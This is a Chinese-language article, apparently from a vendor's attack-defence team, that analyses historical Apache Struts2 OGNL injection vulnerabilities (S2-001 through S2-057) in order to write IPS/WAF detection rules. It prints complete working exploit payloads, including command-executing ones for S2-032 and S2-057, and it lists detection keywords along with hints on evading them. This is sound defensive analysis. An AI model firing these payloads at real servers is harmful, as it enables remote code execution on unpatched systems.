如何從防護角度看Struts2歷史漏洞

一、前言

   Struts2漏洞是一個經典的漏洞系列，根源在於Struts2引入了OGNL表達式使得框架具有彈性的動態性。隨著整體框架的修補程式完善，現在想挖掘新的Struts2漏洞會比以前困難很多，從實際了解的情況來看，大部分用戶早就修復了歷史的高風險漏洞。目前在做滲透測試時，Struts2漏洞主要也是碰運氣，或是打到內網之後用來攻擊沒修補的系統會比較有效。

網路上的分析文章主要從攻擊利用的角度來分析這些Struts2漏洞。作為新華三攻防團隊，我們的部分工作是維護ips產品的規則庫，今天回顧一下這個系列的漏洞，給大家分享一些防護者的思路，如果有遺漏或者錯誤，歡迎各位大佬指正。

二、Struts2歷史漏洞

研究Struts2的歷史漏洞，一部分原因為了review以前的ips、waf的防護規則。在開發規則的時候，我們認為有幾個原則：

1、站在攻擊者的角度思考；

2、理解漏洞或攻擊工具的原理；

3、定義漏洞或攻擊工具的偵測規則時，思考誤報、漏報的情況。

如果安全設備不會自動封ip，那麼防護規則是有可能被慢慢試出來的。如果規則只考慮了公開的poc規則寫得太過嚴格，是可能被繞過的，所以有了這次review。先來看看Struts2的歷史漏洞的原理。

2.1判斷網站使用Struts2框架

一般攻擊者在攻擊之前會判斷網站是Struts2編寫，主要看有沒有連結是.action或.do結尾的，這是因為設定文件struts.xml指定了action的字尾

<constant></constant>

但是上述這個設定檔解析之後，不帶字尾的uri也會被解析稱為action的名字。如下：

如果設定檔中常數extension的值以逗號結尾或有空值，指明了action可以不帶後綴，那麼不帶後綴的uri也可能是struts2框架搭建的。

如果使用Struts2的rest插件，其預設的struts-plugin.xml指定的請求後綴為xhtml,xml和json

<constant></constant>

根據後綴不同，rest插件使用不同的處理流程，如下請求json格式的數據，框架就使用了JsonLibHandler類別對輸出進行處理。

xhtml和xml結尾的請求則使用HtmlHandler和XStreamHandler分別處理。所以在測試的時候，不能明確判斷網站使用的是否為struts2框架時，特別是碰到後兩種情況，都可以拿工具去試試運氣。

2.2Struts2執行程式碼的原理

Struts2的動態性在於ongl表達式的可以取得到執行變數的值，並且有機會執行函數呼叫。如果可以把惡意的請求參數送到ognl的執行流程中，就會導致任意程式碼執行漏洞。 ognl表達式的執行在Ognl相關的幾個類別裡面，配置好調試環境後，對OgnlUtil類別的getvalue或compileAndExecute函數下斷點，就根據參數判斷poc調用的流程，分析執行的原理了。

2.2.1 S2-045,S2-046

以S2-045為例，查看web工程目錄的payload是

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

斷點攔截情況

根據堆疊查看資訊

getValue:321, OgnlUtil (com.opensymphony.xwork2.ognl)getValue:363, OgnlValueStack (com.opensymphony.xwork2.ognl).......evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)......buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)wrapRequest:841, Dispatcher (org.apache.struts2.dispatcher)</init>

根據堆疊可以定位到漏洞原因，查看到Dispatcher函數，發現如果content-typ欄位包含了multipart/form-data字串，就會把請求封裝成MultiPartRequestWrapper，走到了JakartaMultiPartRequest類別的流程中

if (content_type != null && content_type.contains("multipart/form-data")) {
     MultiPartRequest mpr = getMultiPartRequest();
     LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
     request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
 } else {
     request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);

如果處理出錯，就會呼叫buildErrorMessage函式建構錯誤訊息。

try {
     multi.parse(request, saveDir);
     for (String error : multi.getErrors()) {
         addError(error);
     }
 } catch (IOException e) {
     if (LOG.isWarnEnabled()) {
         LOG.warn(e.getMessage(), e);
     }
     addError(buildErrorMessage(e, new Object[] {e.getMessage()}));
 }

後續呼叫過程是buildErrorMessage --->LocalizedTextUtil.findText --->TextParseUtil. ​​translateVariables ---->OgnlUtil.getValueText，補丁修改是buildErrorMessage呼叫函數不這樣，Util.報錯後提交的輸入就到不了ognl模組了。 S2-046也是用到045的相同模組，總體來看，045和046是17年上半年出現的漏洞，漏洞用到的是框架本身，限制條件少, 算是比較好用的Struts2漏洞了（雖然成功率也非常低）。可以看到現在網路上大量的自動化掃描器或蠕蟲，都自備045和046，ips設備每天能收到大量此類日誌。

2.2.2 S2-001

往前看，比较好用的漏洞中比较有代表性的有S2-001(S2-003,005,008年代比较久远，后来出现了比较好用的新漏洞，所以这些漏洞用的人很少，对应Struts2的版本也很低)，001是Struts2框架最刚开始出现的第一个漏洞，跟045的执行过程也比较接近，都是经由TextParseUtil. translateVariables执行OGNL表达式，TextParseUtil是文本处理的功能类。不同的是S2-001是在把jsp生成java类的时候，会对表单提交的参数调用evaluateParams从而调用文本处理类的OGNL求值功能。调用堆栈如下：

translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util)findValue:303, Component (org.apache.struts2.components)evaluateParams:680, UIBean (org.apache.struts2.components)end:450, UIBean (org.apache.struts2.components)doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f0:17, quiz_002dbasic_jsp (org.apache.jsp.validation)…………….Payload: %25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%7D

提交就能触发漏洞

2.2.3 S2-016

接着是S2-016，以及S2-032,S2-033,S2-037，这几个漏洞比较接近，其中S2-016是比较好用的，由于年代太过久远了，现在已经几乎不可能利用成功，但是这个漏洞由于太经典，还是值得看看。

获取路径的Payload是:

redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D

直接在uri后面跟redirect标签

 调用栈：

getValue:255, OgnlUtil (com.opensymphony.xwork2.ognl).......translateVariables:170, TextParseUtil (com.opensymphony.xwork2.util).......execute:161, ServletRedirectResult (org.apache.struts2.dispatcher)serviceAction:561, Dispatcher (org.apache.struts2.dispatcher)executeAction:77, ExecuteOperations (org.apache.struts2.dispatcher.ng)doFilter:93, StrutsExecuteFilter (org.apache.struts2.dispatcher.ng.filter)internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)

代码注释意为， 在Struts2框架下如果mapping能直接获得结果，就调用结果对象的execute函数。

Uri标签中的redirect，对应的是ServletRedirectResult这个结果，构造函数如下，是DefaultActionMapper构造的时候顺带构造好的，

public DefaultActionMapper() {
     prefixTrie = new PrefixTrie() {
         {
             put(METHOD_PREFIX, new ParameterAction() {
                 public void execute(String key, ActionMapping mapping) {
                     if (allowDynamicMethodCalls) {
                         mapping.setMethod(key.substring(
                                 METHOD_PREFIX.length()));
                     }
                 }
             });
 
             put(ACTION_PREFIX, new ParameterAction() {
                 public void execute(String key, ActionMapping mapping) {
                     String name = key.substring(ACTION_PREFIX.length());
                     if (allowDynamicMethodCalls) {
                         int bang = name.indexOf('!');
                         if (bang != -1) {
                             String method = name.substring(bang + 1);
                             mapping.setMethod(method);
                             name = name.substring(0, bang);
                         }
                     }
                     mapping.setName(name);
                 }
             });

而这个ServletRedirectResult结果在解析Uri的时候，就会被设置到mapping对象中，调用栈如下：

execute:214, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)handleSpecialParameters:361, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)getMapping:317, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)findActionMapping:161, PrepareOperations (org.apache.struts2.dispatcher.ng)findActionMapping:147, PrepareOperations (org.apache.struts2.dispatcher.ng)doFilter:89, StrutsPrepareFilter (org.apache.struts2.dispatcher.ng.filter)

后续ServletRedirectResult的execute函数执行后，经由conditionalParse调用文本处理类TextParseUtil的translateVariables函数进入Ognl的流程，代码得到执行。

2.2.4 S2-032,S2-033,S2-037

S2-032是框架本身漏洞，不过利用有个前提条件，需要开启动态方法执行的配置

<constant></constant>

S2-033和S2-037则是rest插件漏洞，一般来说插件漏洞利用还是比较困难的，因为开发网站的时候不一定会用到这个插件。S2-032的payload如下：

http://localhost:8080/s2032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ipconfig

跟S2-016一样，也是uri中带特殊标签，其漏洞点也在DefaultActionMapper类的构造函数， struts.mxl文件中配置了DynamicMethodInvocation后，构造mapping的时候会满足if语句，设置method属性为冒号后的OGNL表达式

public DefaultActionMapper() {
     prefixTrie = new PrefixTrie() {
         {
             put(METHOD_PREFIX, new ParameterAction() {
                 public void execute(String key, ActionMapping mapping) {
                     if (allowDynamicMethodCalls) {
                         mapping.setMethod(key.substring(METHOD_PREFIX.length()));
                     }
                 }
             });

在调用完Struts2默认的拦截器后，进入DefaultActionInvocation的调用函数invokeAction，后者直接调用Ognl表达式的执行。

S2-032和S2-037也是通过这个步骤得到执行的，不同的是这两漏洞是基于rest插件的。rest插件使得struts2框架的请求具备restful风格，参数直接放在uri里面提交，而非问号后面的字符串。如下为正常的请求：

漏洞利用payload为：

http://localhost:8080/s2033/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=vulnerable

payload将正常的edit方法替换成了ognl代码。rest插件使用的是RestActionMapper来解析uri，生成mapping，在其getMapping函数内，解析uri设置了method变量，

int lastSlashPos = fullName.lastIndexOf(47);
 String id = null;
 if (lastSlashPos > -1) {
     int prevSlashPos = fullName.lastIndexOf(47, lastSlashPos - 1);
     if (prevSlashPos > -1) {
         mapping.setMethod(fullName.substring(lastSlashPos + 1));
         fullName = fullName.substring(0, lastSlashPos);
         lastSlashPos = prevSlashPos;
     }

而后跟032一样，也是通过ognl表达式来调用这个方法的时候，执行了恶意的命令

S2-037跟S2-032漏洞点一致，是对补丁的绕过，应该是Struts2.3.28.1没有修复好。

这两个漏洞是16年的，也需要非常好的运气才能利用，毕竟依赖rest插件且年代久远。

2.2.5 S2-052

这个漏洞跟传统的Struts2漏洞不同的是，并不是利用ognl表达式执行的代码，而是使用unmarshal漏洞执行代码。缺点就是也要用到rest插件，并且对jdk版本有要求，要大于等于1.8，使用JDK 1.7测试报错如下

使用JDK 1.8测试能正常执行命令。

由于使用的不是ongl表达式执行的漏洞，防护思路也跟Struts2的常规防护有区别，后续可以跟weblogic系列漏洞合并分析。

2.2.6 S2-057

S2-057的代码执行有2个条件：

1、需要开启alwaysSelectFullNamespace配置为true，一般提取请求中uri的时候，会对比配置文件中的namespace，匹配上了选取最长的一段作为此次请求的namespace。但是如果这个参数设置为true，就不做对比，直接提取action前面的所有字符串作为namespace。

protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) {
     int lastSlash = uri.lastIndexOf(47);
     String namespace;
     String name;
     if (lastSlash == -1) {
         namespace = "";
         name = uri;
     } else if (lastSlash == 0) {
         namespace = "/";
         name = uri.substring(lastSlash + 1);
     } else if (this.alwaysSelectFullNamespace) {
         namespace = uri.substring(0, lastSlash);
         name = uri.substring(lastSlash + 1);} else {

例如payload使用

GET /s2057/${(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.setExcludedClasses('java.lang.Shutdown')).(#ou.setExcludedPackageNames('sun.reflect.')).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec('calc'))}/actionChain1

标红的整体ognl攻击表达式会被提取成为namespace。

2、使用了服务器跳转的结果，这里的要求是配置了actionChaining类型的action，在配置action结果的时候，使用redirectAction(ServletActionRedirectResult类),chain(ActionChainResult类),postback(PostbackResult类)作为结果类型。

<package name="actionchaining" extends="struts-default">
    <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
       <result type="redirectAction">
          <param name="actionName">register2
       </result>
    </action>
    <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
       <result type="chain">xxx</result>
    </action>
    <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
       <result type="postback">
          <param name="actionName">register2
       </result>
    </action>
 </package>

这样在处理result结果的时候，会把namespace送到ognl引擎执行。例如redirectAction(ServletActionRedirectResult类)的情况，分发器disptacher会根据action的结果，把流程传给ServletActionRedirectResult的execute函数，后者通过setLocation设置302跳转的目的地址到自己的location变量(包含了ognl恶意代码的namespace)，

public void execute(ActionInvocation invocation) throws Exception {
     this.actionName = this.conditionalParse(this.actionName, invocation);
     if (this.namespace == null) {
         this.namespace = invocation.getProxy().getNamespace();
     } else {
         this.namespace = this.conditionalParse(this.namespace, invocation);
     }
 
     if (this.method == null) {
         this.method = "";
     } else {
         this.method = this.conditionalParse(this.method, invocation);
     }
 
     String tmpLocation = this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)null));
     this.setLocation(tmpLocation);
     super.execute(invocation);
 }

然后调用父类ServletRedirectResult的execute函数  ----> 调用父类StrutsResultSupport的execute函数

public void execute(ActionInvocation invocation) throws Exception {
     this.lastFinalLocation = this.conditionalParse(this.location, invocation);
     this.doExecute(this.lastFinalLocation, invocation);
 }
 
 protected String conditionalParse(String param, ActionInvocation invocation) {
     return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param;
 }

其中conditionalParse是条件调用TextParseUtil.translateVariables进行ognl的执行流程，这个条件是满足的，参数就是之前设置的location变量，因此代码得到执行。

2.3Struts2沙盒防护和绕过

Struts2的每一轮新的漏洞，既包含了新的Ognl代码执行的点，也包含Struts2的沙盒加强防护的绕过，而每一轮补丁除了修复Ognl的执行点，也再次强化沙盒，补丁主要都是通过struts-default.xml限制了ognl使用到的类和包，以及修改各种bean函数的访问控制符。最新版本Struts2.5.20的Struts-default.xml，限制java.lang.Class, java.lang.ClassLoader，java.lang.ProcessBuilder这几个类访问，导致漏洞利用时无法使用构造函数、进程创建函数、类加载器等方式执行代码，限制com.opensymphony.xwork2.ognl这个包的访问，导致漏洞利用时无法访问和修改_member_access，context等变量。

<constant name="struts.excludedClasses" value="
             java.lang.Object,
             java.lang.Runtime,
             java.lang.System,
             java.lang.Class,
             java.lang.ClassLoader,
             java.lang.Shutdown,
             java.lang.ProcessBuilder,
             com.opensymphony.xwork2.ActionContext"></constant>
 
 <!-- this must be valid regex, each &#39;.&#39; in package name must be escaped! -->
 <!-- it&#39;s more flexible but slower than simple string comparison -->
 <!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->
 
 <!-- this is simpler version of the above used with string comparison -->
 <constant name="struts.excludedPackageNames" value="
             ognl.,
             javax.,
             freemarker.core.,
             freemarker.template.,
             freemarker.ext.rhino.,
             sun.reflect.,
             javassist.,
             org.objectweb.asm.,
             com.opensymphony.xwork2.ognl.,
             com.opensymphony.xwork2.security.,
             com.opensymphony.xwork2.util."></constant>

调试时，可以对SecurityMemberAccess的isAccessible函数下断点观察ognl的沙盒防护情况。

public boolean isAccessible(Map context, Object target, Member member, String propertyName) {
     LOG.debug("Checking access for [target: {}, member: {}, property: {}]", target, member, propertyName);
     if (this.checkEnumAccess(target, member)) {
         LOG.trace("Allowing access to enum: {}", target);
         return true;
     } else {
         Class targetClass = target.getClass();
         Class memberClass = member.getDeclaringClass();
         if (Modifier.isStatic(member.getModifiers()) && this.allowStaticMethodAccess) {
             LOG.debug("Support for accessing static methods [target: {}, member: {}, property: {}] is deprecated!", target, member, propertyName);
             if (!this.isClassExcluded(member.getDeclaringClass())) {
                 targetClass = member.getDeclaringClass();
             }
         }

三、网络侧Struts2的防护思路

一般的ips、waf规则，可以从两个方向进行检测，一个是检测漏洞发生点，另外一个是检测利用的攻击代码。Struts2有一些老的漏洞，很多是url中或者post表单中提交ognl代码，从漏洞点来看并不是太好做检测，所以一般的检测规则还是检查ognl代码，配合漏洞发生点。结合payload来看，ognl代码的构成，技术性最强的ognl代码是045和057的两个payload，还是从045的payload来看

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

OgnlContext的_memberAccess变量进行了访问控制限制，决定了哪些类，哪些包，哪些方法可以被ognl表达式所使用。045之前的补丁禁止了_memberAccess的访问:

#container=#context['com.opensymphony.xwork2.ActionContext.container'])

payload通过ActionContext对象得到Container:

#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class

然后用Container的getInstance方法获取到ognlUtil实例:

#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()

通过ognlUtil的公开方法清空禁止访问的类和包，后面则是常规的输出流获取和函数调用。这个ognl的payload比较典型，可以检测的点也比较多。

一般来说，ips或者waf的Struts2规则可以检测沙盒绕过使用的对象和方法，如 _memberaccess，getExcludedPackageNames，getExcludedClasses，DEFAULT_MEMBER_ACCESS都是很好的检测点，防护规则也可以检测函数调用ServletActionContext@getResponse（获取应答对象），java.lang.ProcessBuilder(进程构建，执行命令)，java.lang.Runtime(运行时类建，执行命令)，java.io.FileOutputStream（文件输出流，写shell），getParameter（获取参数），org.apache.commons.io.IOUtils（IO函数）。不太好的检测点包括com.opensymphony.xwork2.ActionContext.container这种字典的key或者包的全名，毕竟字符串是可以拼接和变形的，这种规则很容易绕过。其他时候规则提取的字符串尽量短一些，避免变形绕过。

測試發現有的waf產品規則只檢測DEFAULT_MEMBER_ACCESS和_memberaccess這兩個字串之一，看起來很粗暴，有誤報風險，不過檢測效果還是不錯的， Ognl表達式由於其彈性，存在一些變形逃逸的，但是S2-016之後的漏洞要繞過沙盒很難避開這兩個物件及相關函數呼叫。繞過可以參考ognl.jjt文件，這個文件定義了ognl表達式的詞法和語法結構，ognl的相關解析程式碼也是基於這個文件產生的，所以一般的繞過也可以基於此文件展開。

以上是如何從防護角度看Struts2歷史漏洞的詳細內容。更多資訊請關注PHP中文網其他相關文章！